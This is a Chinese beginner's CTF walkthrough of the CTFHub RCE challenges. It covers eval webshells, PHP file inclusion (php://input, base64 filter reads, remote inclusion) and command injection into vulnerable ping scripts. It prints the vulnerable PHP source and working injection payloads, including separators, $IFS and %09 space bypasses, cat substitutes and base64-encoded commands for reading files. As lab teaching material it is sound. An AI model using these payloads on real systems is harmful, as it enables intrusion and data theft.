从0学习CTF-从ctfhub来了解RCE

admin 2024年9月25日10:14:41评论30 views字数 2599阅读8分39秒阅读模式

0x01 简介

远程命令执行(remote command execute 简称 RCE)是指攻击者能够让目标电脑或目标进程中执行任意命令在ctf中的题型多数是对命令的绕过,拼接和变形的形式来进行rce

从0学习CTF-从ctfhub来了解RCE

0x02 RCEeval执行对于eval函数我们先来看看官方文档的说明

从0学习CTF-从ctfhub来了解RCE

再来看看题目中给出的源码,代码非常的简单只有几行,这样的写法也正好是一种webshell的,可以直接用蚁剑连接

从0学习CTF-从ctfhub来了解RCE

从0学习CTF-从ctfhub来了解RCE

用图形化的界面很快的就找到了flag

从0学习CTF-从ctfhub来了解RCE

当然也可以通过传参的形式,因为eval会把字符串作为php代码执行,system()函数可以执行命令

从0学习CTF-从ctfhub来了解RCE

注意如果在地址栏输入参数,注意要进行url编码

从0学习CTF-从ctfhub来了解RCE

文件包含文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。先看题目,题目中有给到写好的shell

从0学习CTF-从ctfhub来了解RCE

这个shell是常见的一句话木马,参数是ctfhub

从0学习CTF-从ctfhub来了解RCE

现在需要就是看这个webshell能如何利用,分析下源码分析完源码后就可以测试下,因为源码中基本上是没做任何的限制,可以直接包含shell.txt来执行代码

从0学习CTF-从ctfhub来了解RCE

测试完成没有问题后就可以用蚁剑连接

从0学习CTF-从ctfhub来了解RCE

图形化找到flag

从0学习CTF-从ctfhub来了解RCE

当然也可以通过传参的形式来执行命令,流程如下图

从0学习CTF-从ctfhub来了解RCE

从0学习CTF-从ctfhub来了解RCE

从0学习CTF-从ctfhub来了解RCE

从0学习CTF-从ctfhub来了解RCE

官方的解释比较简洁,可能不太容易理解php://input的作用,可以通过下图来理解

从0学习CTF-从ctfhub来了解RCE

如果hackerbar命令执行不成功先用burp提交

从0学习CTF-从ctfhub来了解RCE

读取源代码本题目的源代码和上一个题目一样,但这个题目就是另外一个知识点了

从0学习CTF-从ctfhub来了解RCE

从0学习CTF-从ctfhub来了解RCE

在图中所读取的方式是用base64转换读取后的结果,这种形式也是ctf常用的过滤器,他可以绕过回显结果不允许出现flag关键的情况

从0学习CTF-从ctfhub来了解RCE

最后将读取的结果base64解码就可以得到原文内容

从0学习CTF-从ctfhub来了解RCE

在我们自己的vps中写上一句话就可以直接包含,下面也提供了可远程包含的文件地址

从0学习CTF-从ctfhub来了解RCE

https://f1veseven.github.io/ctfhub.txt命令注入

从0学习CTF-从ctfhub来了解RCE

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {  //ip不能为空    $cmd = "ping -c 4 {$_GET['ip']}";  //字符拼接    exec($cmd, $res);  //exec执行命令}?>

分析完源码后我们就可以尝试进行命令注入

从0学习CTF-从ctfhub来了解RCE

以下是linux中常见的注入形式

|||;%0a

最后读取flag

从0学习CTF-从ctfhub来了解RCE

过滤cat

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {    $ip = $_GET['ip'];    $m = [];    if (!preg_match_all("/cat/", $ip, $m)) {  //这里对cat进行了过滤        $cmd = "ping -c 4 {$ip}";        exec($cmd, $res);    } else {        $res = $m;    }}?>

当禁止用cat时,可以有以下的方法来进行文件读取

catc'a'ttactaillessmorexxd  #16进制查看od  #8进制查看stringsgrep -ri "keyword" PATH

从0学习CTF-从ctfhub来了解RCE

过滤空格

<?php  $res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {  $ip = $_GET['ip'];  $m = [];  if (!preg_match_all("/ /", $ip, $m)) {  //对空格进行过滤    $cmd = "ping -c 4 {$ip}";    exec($cmd, $res);  } else {    $res = $m;  }}  ?>

以下也是可以对空格进行替换的字符

%09<$IFS$1${IFS}$9${IFS}

从0学习CTF-从ctfhub来了解RCE

从0学习CTF-从ctfhub来了解RCE

过滤目录分隔符

<?php  $res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {  $ip = $_GET['ip'];  $m = [];  if (!preg_match_all("///", $ip, $m)) {  //对目录分隔符/过滤    $cmd = "ping -c 4 {$ip}";    exec($cmd, $res);  } else {    $res = $m;  }}  ?>

当无法进行跨目录读取文件时,有以下的几种方法进行文件读取

1.分步进行?ip=a;cd flag_is_here;cat flag_1924710865878.php#通过因为;号的特性,后面接着的命令是一步步执行的,可以先cd到目录中,再cat文件2.当前路径搜索?ip=a;grep -ri "ctfhub" `pwd`#可通过grep对当前路径对文件中关键字进行搜索内容3.编码绕过?ip=a;`echo "Y2F0IC92YXIvd3d3L2h0bWwvZmxhZ19pc19oZXJlL2ZsYWdfMTkyNDcxMDg2NTg3OC5waHA="|base64 -d`#可利用base64编码来执行

从0学习CTF-从ctfhub来了解RCE

过滤运算符

<?php  $res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {  $ip = $_GET['ip'];  $m = [];  if (!preg_match_all("/(||&)/", $ip, $m)) {  //过滤了与和或符号& |    $cmd = "ping -c 4 {$ip}";    exec($cmd, $res);  } else {    $res = $m;  }}  ?>

这个题可绕过的思路有很多,可参考上面的方法

从0学习CTF-从ctfhub来了解RCE

综合过滤练习

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {    $ip = $_GET['ip'];    $m = [];    if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) {  //过滤ctfhub, flag, cat, /, 空格, ;, &, |        $cmd = "ping -c 4 {$ip}";        exec($cmd, $res);    } else {        $res = $m;    }}?>

可以结合上面的思路进行自由组合

?ip=a%0agrep$IFS-ri$IFS"ctf"$IFS`pwd`?ip=a%0acd%09fl??_is_here%0atac%09$1f??g_10317375713281.php

命令执行绕过大全参考

https://zhuanlan.zhihu.com/p/672515980

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月25日10:14:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0学习CTF-从ctfhub来了解RCEhttps://cn-sec.com/archives/3129700.html

发表评论

匿名网友 填写信息